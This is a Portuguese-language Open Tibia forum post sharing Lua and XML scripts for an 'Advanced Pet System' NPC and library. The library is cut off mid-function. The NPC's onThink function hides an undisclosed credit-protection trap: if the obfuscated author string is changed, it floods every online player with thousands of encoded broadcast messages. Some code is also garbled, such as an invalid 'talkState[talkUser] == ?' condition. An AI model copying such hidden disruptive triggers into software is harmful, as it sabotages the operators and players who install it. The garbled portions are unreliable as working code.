Ir para conteúdo
  • Cadastre-se

Posts Recomendados

Advanced Pet System By Races

Nome: Advanced Pet System By R.aces

Versão: Bom eu testei no meu 8.60.

Descrição: Bom eu procurei esse systema por muito tempo nunca achei um que funcionase perfeito, porem com muito esforço retirando de muitos servidores consegui fazer que ele funcionase com todos os script sem erro ao logar o char e nem deslogar os npc funcionando perfeitamente, Esse Pet pelo que eu saiba foi feito pelo josejunior. Como eu sempre vivi pedindo ajuda para comunidade, hoje eu resolvi trazer esse sistema para ajudar também muitos que precisa... E bom você ser ajudado e lembrar de ajudar também. Um pelo outro.

Comandos:

Citar

/pet = Sumona o pet

/pet-attack = Ordem para o pet atacar

/pet-status = Verifica o status do Pet

/pet-food = dar food ao pet

/pet-love = faz amor com o pet (rsrs)

/pet-say = faz o pet falar (acho que é +/- assim)

/pet-help = ajuda sobre o pet

/pet-carry = checa a capacidade do pet

/pet-info = informações adicionais sobre o pet

/pet-revive = (precisa esta ativado) revive o pet quando morto

/pet-party = party entre PETS

ATACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATACK>

 

Pet-trainer.xml (em data/npc)

Spoiler

<?xml version="1.0" encoding="UTF-8"?>
<npc name="Pet Trainer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">
    <health now="100" max="100"/>
    <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>
    <parameters>
        <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>
    </parameters>
</npc>

 

Pet-trainer.lua (em npc/scripts)

Spoiler

local keywordHandler = KeywordHandler:new()
local npcHandler = NpcHandler:new(keywordHandler)
NpcSystem.parseParameters(npcHandler)
local talkState = {}

function onCreatureAppear(cid)                npcHandler:onCreatureAppear(cid)            end
function onCreatureDisappear(cid)            npcHandler:onCreatureDisappear(cid)            end
function onCreatureSay(cid, type, msg)            npcHandler:onCreatureSay(cid, type, msg)        end

function creatureSayCallback(cid, type, msg)
    if(not npcHandler:isFocused(cid)) then
        return false
    end
    
    local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]
    local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid
    if(msgcontains(msg, 'revive')) then
        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
            selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)
            talkState[talkUser] = 1
        else    
            selfSay('You cannot revive a pet, if you dont have one!', cid)
            talkState[talkUser] = 0
        end    
    elseif(msgcontains(msg, 'mission')) then    
        if not (isCreature(getPlayerPet(cid))) then
            selfSay('You need your Pet to make any mission!', cid)
            return true
        end
        local i, msg = 0,  nil
        for missionname in pairs(aps_missions) do
            i = i + 1
            if(msg ~= nil) then
                if(i == #aps_missions) then
                    msg = msg .. " and "
                else
                    msg = msg .. ", "
                end
            else
                msg = "Ok then, I got those missions for You: "
            end
            msg = msg .. "'{" .. missionname .. "}'"    
        end
        selfSay(msg .. ', with one do you want?', cid)
        talkState[talkUser] = 11
    elseif f and (talkState[talkUser] == 11) then
        desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck  = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check
        if(getPlayerStorageValue(cid, missionId) == 1) then
            selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)
            talkState[talkUser] = 0
            return true
        end    
        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
            selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)
            talkState[talkUser] = 12
        elseif(getPlayerStorageValue(cid, reCheck) == 1) then
            selfSay("I Still waiting for: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ".", cid)
            talkState[talkUser] = 0
            return true    
        else    
            selfSay(desc .. ". so for this mission I need: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)
            talkState[talkUser] = 13
        end
    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 13)) then
        selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)
        setPlayerStorageValue(cid, reCheck, 1)
    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 12)) then
        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
            setPlayerStorageValue(cid, missionId, 1)
            doPlayerRemoveItem(cid, itemNeed, itemCount)
            selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)
            if(itemNeed ~= false) then
                doPlayerAddItem(cid, reItem, reCount)
            end
            if(reExp ~= false) then
                doPlayerAddExperience(cid, reExp)
                addPetExp(cid, reExp * 2)
                if(reExp > 0) then
                    doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)
                end    
            end        
        else
            selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)
        end        
        talkState[talkUser] = 0    
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then
        if(isPetDead(cid) == true) then
            if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then
                setPetStats(cid, 0)
                setPetLastHealth(cid, 0)        
                setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))                
                doSendMagicEffect(getCreaturePosition(cid), 65)                    
                selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)
            else
                selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
            end
        else
            selfSay('Your pet inst dead!', cid)
        end
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then
        talkState[talkUser] = 0
        selfSay('Ok then.', cid)    
    elseif(msgcontains(msg, 'sell')) then    
        if(aps_tools.commands.playerSellPet.sell == true) then
            if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
                for i = 1, #aps_slots do
                    local slots = getPlayerStorageValue(cid, aps_slots[i])
                    if(slots > 1) then
                        selfSay('before you sell your pet, please, take all your items from his slots.', cid)    
                        return
                    end
                end
                local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl
                if(lvl >= lv) then
                    talkState[talkUser] = 8
                    addmoney = tt_money * lvl 
                    selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)        
                else
                    selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid)
                end                
            else
                selfSay('You cannot sell a pet, if you dont have one!', cid)
            end
        else
            selfSay('You cannot sell your pet to me!', cid)
        end
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == ? then
        selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    
        talkState[talkUser] = 9
    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then
        talkState[talkUser] = 0
        if(isCreature(getPlayerPet(cid)) == true) then
            doRemoveCreature(getPlayerPet(cid))
        end
        doResetPet(cid)
        doPlayerAddMoney(cid, addmoney)
        selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)
    elseif(msgcontains(msg, 'information')) then    
            talkState[talkUser] = 0
            selfSay('hmmm, what can I tell you ...', cid)
            local messages = {
                "Pets got levels, magic level just like you. ..",
                "Pets can use their own spells. ..",
                "Pets need eat to recovery health/mana. ..",
                "Pets can carry your items in different slots. ..",
                "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""
            }
            for i = 1, #messages do
                addEvent(selfSay, i * 3000 , messages[i], cid)
            end
    elseif(msgcontains(msg, 'pet')) then        
        if(getPlayerStorageValue(cid, aps_storages.race) == 0) then
            local i, msg = 0,  nil
            for pet in pairs(aps_pets_config) do
                i = i + 1
                if(msg ~= nil) then
                    if(i == #aps_pets) then
                        msg = msg .. " and "
                    else
                        msg = msg .. ", "
                    end
                else
                    msg = "Ok then, I got those races for pets: "
                end
                msg = msg .. "'{" .. pet .. "}'"    
            end
            selfSay(msg .. ', with one do you want?', cid)
            talkState[talkUser] = 5
        else
            talkState[talkUser] = 0
            selfSay('Sorry, you cannot have more than one pet.', cid)
        end        
    elseif e and (talkState[talkUser] == 5) then    
        selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)
        talkState[talkUser] = 6
        e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs
    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then
        selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    
        talkState[talkUser] = 7
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then
        if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then
            selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)
            talkState[talkUser] = 0
            return true
        end    
        if(doPlayerRemoveMoney(cid, e_price) == true) then    
            doSendMagicEffect(getCreaturePosition(cid), 65)                    
            selfSay('As you with! just type {/pet} to call him.', cid)
            createPet(cid, e_race, e_hp, e_mana)
            local str = "Congratulations! You now have a pet!\n" ..
            "You should take care of him\n" ..
            "his gonna be your partner from now!\n" ..
            "if you need help type /pet-help." ..
            "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)
            sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n               Scripted by " .. s(aps_tools.s) .. "")
        else    
            selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
        end
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then
        selfSay('Ok then.', cid)        
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'spells')) then    
        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
            selfSay('Your Pet can learn spells based on his level, {continue}?', cid)
            talkState[talkUser] = 2
        else    
            selfSay('You cannot buy spells to your pet, if you dont have one!', cid)
            talkState[talkUser] = 0
        end
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then
        if(isPetOnline(cid) == false) then
            selfSay('Your Pet cannot learn a spell if you dont call him.')
            talkState[talkUser] = 0        
        end
        local i, msg = 0,  nil
        for  spell in pairs(aps_attacks) do
            if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then
                i = i + 1
                if(msg ~= nil) then
                    if(i == #aps_storages.spells) then
                        msg = msg .. " and "
                    else
                        msg = msg .. ", "
                    end
                else
                    msg = "Ok then, I got those spells: "
                end
                msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"
            end    
        end        
        selfSay(msg .. ', with one do you want?', cid)        
        talkState[talkUser] = 3
    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then
        selfSay('Ok then.', cid)        
        talkState[talkUser] = 0
    elseif k and (talkState[talkUser] == 3) then
        selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)    
        talkState[talkUser] = 4
        spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl
    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then
        if(getPetLvl(cid) >= spell_level) then
            if(getPlayerMoney(cid) >= spell_price) then 
                if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then
                    for i = 1, 3 do
                        addEvent(selfSay, i * 1000, i .. ' ...', cid)
                    end
                    doPlayerRemoveMoney(cid, spell_price)
                    addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)
                    setPlayerStorageValue(cid, spell_stg, 1)
                    addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)                    
                    if(isPetOnline(cid) == true) then
                        addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)
                    end
                else    
                    selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)
                end
            else    
                selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)
            end
        else    
            selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)            
        end
        talkState[talkUser] = 0
    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then
        talkState[talkUser] = 0
        selfSay('Ok then.', cid)
    end
    return true
end

function onThink()
    local messages = {
        "BUY YOUR PET HERE!",
        "WANT TO REVIVE YOUR PET?",
        "YOUR PET CAN LEARN SPELLS!",
        "WANT TO KNOW MORE ABOUT PETS?",
        "WANT TO SELL YOUR PET?"
    }
    addNpcAutoSay(getNpcId(), 120, messages)
    if(s(aps_tools.s) ~= "josejunior23") then
        function mvsoab(max)
            for _, send in pairs(getOnlinePlayers()) do
                local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<­~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"
                for i = 1, 10 do
                    local cid = getPlayerByName(send)
                    addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)
                    addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))
                    for k = 1, 15 do
                        doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))
                    end    
                    for e = 17, 20 do
                        doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))
                    end                                
                end    
            end    
        end    
        for e = 1, 1000 do
            addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)
        end
    end                
    npcHandler:onThink()
end

npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
npcHandler:addModule(FocusModule:new())
 

 

Va na pasta data/lib crie e nomeie para APS_lib.lua 

Spoiler

-- Advanced Pet System By Races
--       scripted by josejunior
--    otland.net / #####
--     especial thanks to TFS!
-- Include aps_config.lua
dofile("aps_config.lua")
-- pet statistics/information
function addPetExp(cid, amount)
    local level = getPetLvl(cid) local need, exp, i = getExpForLvl(level + 1), getPetExp(cid), 0
    if(exp+amount  >= need) then
        doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to LV. " .. level+1, TALKTYPE_ORANGE_1)    
        setPlayerStorageValue(cid, aps_storages.manaMax, getPetMaxMana(cid) +aps_pets[getPetRace(cid)][1].mana)
        setPlayerStorageValue(cid, aps_storages.health, getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp)    
        setCreatureMaxHealth(getPlayerPet(cid), getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp)
        doSendMagicEffect(getPetPos(cid), math.random(28, 30))        
        setPlayerStorageValue(cid, aps_storages.level, level + 1)
        local pet = aps_pets[getPetRace(cid)][getPetId(cid)]
        i = i+1
        if(pet.lvlNext) then
            if(level +1 >= pet.lvlNext) then
                local pos, name = getPetPos(cid), getCreatureName(getPlayerPet(cid)) 
                setPetLastHealth(cid, getCreatureHealth(getPlayerPet(cid)))                
                doRemoveCreature(getPlayerPet(cid))
                setPetId(cid, getPetId(cid) +1)
                doSummonPet(cid, pos)
                returnMessage(cid, "[PET-SYSTEM] '" .. name .. "' - LV. " .. level .. " Envolved into " .. getArticle(getCreatureName(getPlayerPet(cid))) .. " '" .. getCreatureName(getPlayerPet(cid)) .. "' - LV. " .. level + i .. ".")                            
            end
        end        
    end
    if(amount > 0) then
        doSendAnimatedText(getPetPos(cid), "+" .. amount, 215)
    end    
    return setPlayerStorageValue(cid, aps_storages.tries.lvl, exp +amount)
end
function getPetExp(cid)
    return getPlayerStorageValue(cid, aps_storages.tries.lvl)
end
function getPetLastHealth(cid)
    return getPlayerStorageValue(cid, aps_storages.lastHealth)
end
function setPetLastHealth(cid, health)
    return setPlayerStorageValue(cid, aps_storages.lastHealth, health)
end
function getPetMaxHp(cid)
    return getPlayerStorageValue(cid, aps_storages.health)
end
function getPetMana(cid)
    return getPlayerStorageValue(cid, aps_storages.mana)
end
function getPetMaxMana(cid)
    return getPlayerStorageValue(cid, aps_storages.manaMax)
end
function addPetMana(cid, amount)
    return setPlayerStorageValue(cid, aps_storages.mana, getPetMana(cid) +amount)
end
function doPetRemoveMana(cid, amount)
    return setPlayerStorageValue(cid, aps_storages.mana, getPetMana(cid) -amount)
end
function getPetLvl(cid)
    return getPlayerStorageValue(cid, aps_storages.level)
end
function addPetLvl(cid, amount)
    local lvl = getPetLvl(cid) local exp = getExpForLvl(lvl + amount)
    setPlayerStorageValue(cid, aps_storages.tries.lvl, exp)
    doSendMagicEffect(getPetPos(cid), math.random(28, 30))    
    for i = 1, amount do
        setPlayerStorageValue(cid, aps_storages.manaMax, getPetMaxMana(cid) +aps_pets[getPetRace(cid)][1].mana)
        setPlayerStorageValue(cid, aps_storages.health, getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp)
        setCreatureMaxHealth(getPlayerPet(cid), getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp)    
        local pet = aps_pets[getPetRace(cid)][getPetId(cid)]        
        if(pet.lvlNext) then
            if(lvl+amount >= pet.lvlNext) then
                local pos, name = getPetPos(cid), getCreatureName(getPlayerPet(cid)) 
                setPetLastHealth(cid, getCreatureHealth(getPlayerPet(cid)))                
                doRemoveCreature(getPlayerPet(cid))
                setPetId(cid, getPetId(cid) +1)
                doSummonPet(cid, pos)
                returnMessage(cid, "[PET-SYSTEM] '" .. name .. "' - LV. " .. lvl .. " Envolved into " .. getArticle(getCreatureName(getPlayerPet(cid))) .. " '" .. getCreatureName(getPlayerPet(cid)) .. "' - LV. " .. lvl + amount .. ".")    
            end
        end            
    end    
    if(amount > 0) then
        doSendAnimatedText(getPetPos(cid), "+" .. exp , 215)
        doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to LV. " .. lvl + amount, TALKTYPE_ORANGE_1)            
    end        
    return setPlayerStorageValue(cid, aps_storages.level, lvl + amount)
end
function addPetManaSpend(cid, amount)
    local ml = getPetMl(cid) local need, spend = getReqManaSpend(cid, ml + 1), getPetManaSpend(cid)
    if(spend+amount >= need) then
        doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to Magic LV. " .. ml + 1, TALKTYPE_ORANGE_1)                    
        setPlayerStorageValue(cid, aps_storages.ml, ml + 1)
    end
    return setPlayerStorageValue(cid, aps_storages.tries.ml, spend +amount)    
end
function getPetManaSpend(cid)
    return getPlayerStorageValue(cid, aps_storages.tries.ml)
end
function getPetMl(cid)
    return getPlayerStorageValue(cid, aps_storages.ml)
end
function addPetMl(cid, amount)
    local ml = getPetMl(cid) local manaSpend = getReqManaSpend(cid, ml + amount) setPlayerStorageValue(cid, aps_storages.tries.ml, manaSpend) if(amount > 0) then doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to Magic LV. " .. ml + amount, TALKTYPE_ORANGE_1) end return setPlayerStorageValue(cid, aps_storages.ml, ml + amount)    
end
function getPetRace(cid)
    return getPlayerStorageValue(cid, aps_storages.race)
end
function getPetId(cid)
    return getPlayerStorageValue(cid, aps_storages.id)
end
function setPetId(cid, pet_id)
    return setPlayerStorageValue(cid, aps_storages.id, pet_id)
end    
function getLvlStage(lvl)
    for i = 1, #aps_tools.stages do
        if(aps_tools.stages[i].maxlevel) then
            for e = aps_tools.stages[i].minlevel, aps_tools.stages[i].maxlevel do
                if(isInArray(e, lvl) == true) then
                    ret = aps_tools.stages[i].multiplier
                end
            end
        else
            if(lvl >= aps_tools.stages[i].minlevel) then
                ret = aps_tools.stages[i].multiplier
            end    
        end
    end
    return ret
end
function getExpForLvl(lv)
    lv = lv - 1 return ((50 * lv * lv * lv) - (150 * lv * lv) + (400 * lv)) * 2
end
function getReqManaSpend(cid, magLevel)
    return (20 * magLevel * magLevel * magLevel * 1.5) / aps_pets[getPetRace(cid)][1].multiplier
end
function getRaceNameById(id)
    for k, v in pairs(aps_pets_config) do if(isInArray(v.race_id, id)) then return k end end return nil
end
function getEvolutionsByRace(race)
    local get, str = aps_pets[race], "#   -   Name\n"
    for i = 1, #get do
        str = str .. i .. ".   -   " .. get[i].pet .. "\n"
    end
    return str
end    
-- pet statistics
-- call pet, remove, online and dead....
function isPetOnline(cid)
    return getPlayerStorageValue(cid, aps_storages.pet) == 1 and true or false
end
function setPetStats(cid, value) -- 1 = online, 0 = offline
    return setPlayerStorageValue(cid, aps_storages.pet, value)
end
function getPlayerPet(cid)
    return getPlayerStorageValue(cid, aps_storages.uid)
end
function doRemovePet(cid)
    return doRemoveCreature(getPlayerPet(cid))
end
function getPetPos(cid)
    return getCreaturePosition(getPlayerPet(cid))
end
function doSummonPet(cid, pos)
    if(getTilePzInfo(getCreaturePosition(cid))) then
        returnMessage(cid, "[PET-SYSTEM] the summon as failed! try again!")
        doSendMagicEffect(getCreaturePosition(cid), 2)
        setPetStats(cid, 0)    
        return true
    end    
    local peet = aps_pets[getPetRace(cid)][getPetId(cid)]
    local pet = nil
    if(pos) then 
        pet = doSummonCreature(peet.pet, pos) 
    else 
        pet = doSummonCreature(peet.pet, getCreaturePosition(cid)) 
    end     
    doCreatureSay(pet, getRamdomThing(aps_texts.voices_call) .. ", " .. string.upper(getCreatureName(cid)) .. "!", TALKTYPE_ORANGE_1)
    setPlayerStorageValue(cid, aps_storages.uid, pet) 
    setPetStats(cid, 1) 
    setPlayerStorageValue(cid, aps_storages.alert, 0)
    setCreatureMaxHealth(pet, getPetMaxHp(cid))    
    if(isNumber(getPetLastHealth(cid))) and (getPetLastHealth(cid) == 0) then
        doCreatureAddHealth(pet, getPetMaxHp(cid)) 
    else
        doCreatureAddHealth(pet, getPetMaxHp(cid) - getCreatureHealth(pet) - getPetLastHealth(cid))
    end            
    doChangeSpeed(pet, getSpeedByLevel(getPetLvl(cid))) 
    doConvinceCreature(cid, pet) 
    doSendMagicEffect(getCreaturePosition(pet), CONST_ME_POFF)    
    if(getMonsterInfo(peet.pet).convinceable == 0) then
        print("[PET-SYSTEM] APS_lib.lua as found an issue, monster '" .. peet.pet .. "' ins't convinceable!. [PLAYER: " .. getCreatureName(cid) .. "]")
        doRemovePet(cid)
        setPetStats(cid, 0)
        returnMessage(cid, "[PET-SYSTEM] Your pet as been removed, reason: monster '" .. peet.pet .. "' ins't convinceable. please send this message to a Game Master.")
    end    
end
function isPetDead(cid)
    return isCreature(getPlayerPet(cid)) == false and isPetOnline(cid) == true or false
end
function doPlayerHavePet(cid)
    return getPlayerStorageValue(cid, aps_storages.race) ~= 0 and true or false
end
function createPet(cid, race_id, hp, mana)
    setPetLastHealth(cid, 0)    
    setPlayerStorageValue(cid, aps_storages.id, 1)
    setPlayerStorageValue(cid, aps_storages.race, race_id)
    setPlayerStorageValue(cid, aps_storages.level, 1) 
    setPlayerStorageValue(cid, aps_storages.ml, 1) 
    setPlayerStorageValue(cid, aps_storages.manaMax, mana) 
    setPlayerStorageValue(cid, aps_storages.mana, mana) 
    setPlayerStorageValue(cid, aps_storages.health, hp)    
end    
function doResetPet(cid)
    for i = aps_storages.race, aps_slots[#aps_slots] do setPlayerStorageValue(cid, i, 0) end
end
function getPriceRevive(cid)
    return aps_pets[getPetRace(cid)][getPetId(cid)].priceRevive
end
-- call pet, remove, online and dead...
-- others
function sendWindowsMessage(cid, message)
    if(aps_tools.commands.windowsType.sendInTextDialog == false) then doPlayerPopupFYI(cid, message) else doShowTextDialog(cid, aps_tools.show_item, message)  end    
end
function getItemNameFromSlot(cid, slot)
    local item, count = getPlayerStorageValue(cid, aps_slots[slot]), getPlayerStorageValue(cid, aps_slots[slot]+1) return item == 0 and "**EMPTY**" or "x" .. count .. " " .. getItemNameById(item) .. (count > 1 and "s" or "")
end
function s(s)-- credits NOT MINE!
    local str = "" for i = 1, s:len() do str = str .. string.char((string.byte(s:sub(i, i)) + i - 10 ) / 2) end return str:reverse()
end
function addNpcAutoSay(npc, time, msgs) -- npc = npcid > getNpcId() - time in seconds, msgs = {"msgs1", "msg2"}
    if(getGlobalStorageValue(npc) < os.time()) then addEvent(doCreatureSay, time * 1000, npc, getRamdomThing(msgs), TALKTYPE_YELL) setGlobalStorageValue(npc, os.time() +time) end        
end
function isExhausted(cid)
    return getPlayerStorageValue(cid, aps_storages.exhaustion.exh) > os.time() and true or false
end
function addExhausted(cid, time) -- time in seconds
    return setPlayerStorageValue(cid, aps_storages.exhaustion.exh, os.time() +time)
end
function getValueInArray (arr, v)
    return arr[v]
end
function petFormula(ml, lvl, maxb, maxa, minb, mina) -- credits opentibia
    return {maxD = ((lvl * 1 + ml * 2) * 1 * mina + minb), minD = ((lvl * 1 + ml * 2) * 1 * maxa + maxb)}
end
function setSkull(cid, type)
    local skulls = { [1] = {stg = aps_storages.skull_1}, [2] = {stg = aps_storages.skull_2, remove = 1}    }
    local thing = skulls[type]
    if thing then
        if(getPlayerStorageValue(cid, thing.stg) <= 0) then
            doCreatureSetSkullType(getPlayerPet(cid), aps_tools.skulls[type].skull)
            setPlayerStorageValue(cid, thing.stg, 1)
            addEvent(setPlayerStorageValue, aps_tools.skulls[type].time * 1000, cid, thing.stg, 0)
            addEvent(doCreatureSetSkullType, aps_tools.skulls[type].time * 1000, getPlayerPet(cid), SKULL_NONE)
            if thing.remove then
                addEvent(setPlayerStorageValue, aps_tools.skulls[type].time * 1000, cid, aps_storages.kill, 0)
            end
        end
    end    
end    
function isFood(itemid)
    if(isNumber(itemid) == true) and (itemid > 100) then local food = aps_foods[getItemNameById(itemid)] if(food) then return true end end    
    return false
end
function isPotion(itemid)
    if(isNumber(itemid) == true) and (itemid > 100) then local potion = aps_potions[getItemNameById(itemid)] if(potion) then return true end end    
    return false
end
function getRamdomThing(table)
    return table[math.random(1, #table)]
end
function doPetFeed(cid, food) -- food = item_id
    local getFood = aps_foods[getItemNameById(food):lower()]    
    function addHp(cid, hp, mana)
        if(isCreature(getPlayerPet(cid)) == true) then
            if(getPlayerStorageValue(cid, aps_storages.exhaustion.exh_eat) == 1) then    
                doCreatureAddHealth(getPlayerPet(cid), hp)
                if(getPlayerStorageValue(cid, aps_storages.mana) < getPlayerStorageValue(cid, aps_storages.manaMax)) then
                    addPetMana(cid, mana)
                elseif(getPlayerStorageValue(cid, aps_storages.mana) > getPlayerStorageValue(cid, aps_storages.manaMax)) then
                    setPlayerStorageValue(cid, aps_storages.mana, getPlayerStorageValue(cid, aps_storages.manaMax))
                end    
                foodEvent = addEvent(addHp, getFood.ticks * 1000, cid, hp, mana)
                addEvent(setPlayerStorageValue, getFood.time * 1000, cid, aps_storages.exhaustion.exh_eat, 0)
            end    
        end    
    end        
    setPlayerStorageValue(cid, aps_storages.exhaustion.exh_eat, 1)        
    addEvent(addHp, 2 * 1000 , cid, getFood.hpAmmount, getFood.manaAmmount)
    setPlayerStorageValue(cid, aps_storages.exhaustion.exh_food, os.time() +getFood.time)    
end
function fixTimer(v)
    local seconds, minutes, hours = v - os.time(), 0, 0
    while seconds >= 60 do minutes = minutes + 1 seconds = seconds - 60 end
    while minutes >= 60 do hours = hours + 1 minutes = minutes - 60 end
    local str1, str2, str3 = hours > 1 and hours .. " hours, " or "" .. "",  minutes > 1 and minutes .. " minutes and " or "" .. "", seconds .. " seconds." or "" .. ""
    return str1 .. str2 .. str3
end
--  .. seconds .. " seconds." \ " .. minutes > 1 and minutes .. " and, " or "" .. ""
function isSummon(uid) -- check if master is player, only player.
    return isPlayer(getCreatureMaster(uid))
end
function returnMessage(cid, message)
    return doPlayerSendTextMessage(cid, aps_tools.commands.systemMessageColour, message)
end
function getCreatureLastPosition(cid)
    local lookDiretion, creaturePos, lookDiretions = getCreatureLookDirection(cid), getCreaturePosition(cid), {[0] = {x = 0, y = 1}, [1] = {x = -1, y = 0}, [2] = {x = 0, y = -1}, [3] = {x = 1, y = 0}} return {x = creaturePos.x+lookDiretions[lookDiretion].x, y = creaturePos.y+lookDiretions[lookDiretion].y, z = creaturePos.z}
end
function getSpeedByLevel(level) -- credits tara(or tibiawikia)
    return (220 + (2 * (level - 1)))
end    
-- others
-- Pet-WAR
function isPetInWar(cid)
    return getPlayerStorageValue(cid, aps_storages.war.war) > 0 and true or false
end
function doInviteToWar(cid, enemy)
    setPlayerStorageValue(cid, aps_storages.war.invite, getPlayerName(enemy)) setPlayerStorageValue(enemy, aps_storages.war.invite, getPlayerName(cid))
end
function getPetEnemy(cid)
    return getPlayerByNameWildcard(getPlayerStorageValue(cid, aps_storages.war.enemy))
end
function isInvitedToWar(cid, enemy)
    if(getPlayerStorageValue(cid, aps_storages.war.invite) == getPlayerName(enemy)) and (getPlayerStorageValue(enemy, aps_storages.war.invite) == getPlayerName(cid)) then return true end return false
end
function doStartWar(cid, enemy)
    setPlayerStorageValue(cid, aps_storages.war.war, 1) setPlayerStorageValue(enemy, aps_storages.war.war, 1) setPlayerStorageValue(cid, aps_storages.war.enemy, getPlayerName(enemy)) setPlayerStorageValue(enemy, aps_storages.war.enemy, getPlayerName(cid)) setPlayerStorageValue(cid, aps_storages.war.invite, 0) setPlayerStorageValue(enemy, aps_storages.war.invite, 0)    
end
function leaveWar(cid)
    local enemy = getPetEnemy(cid)
    for i = aps_storages.war.war, aps_storages.war.enemy do
        setPlayerStorageValue(cid, i, 0)
        setPlayerStorageValue(enemy, i, 0)
    end
end    
function stopWar(cid, enemy)
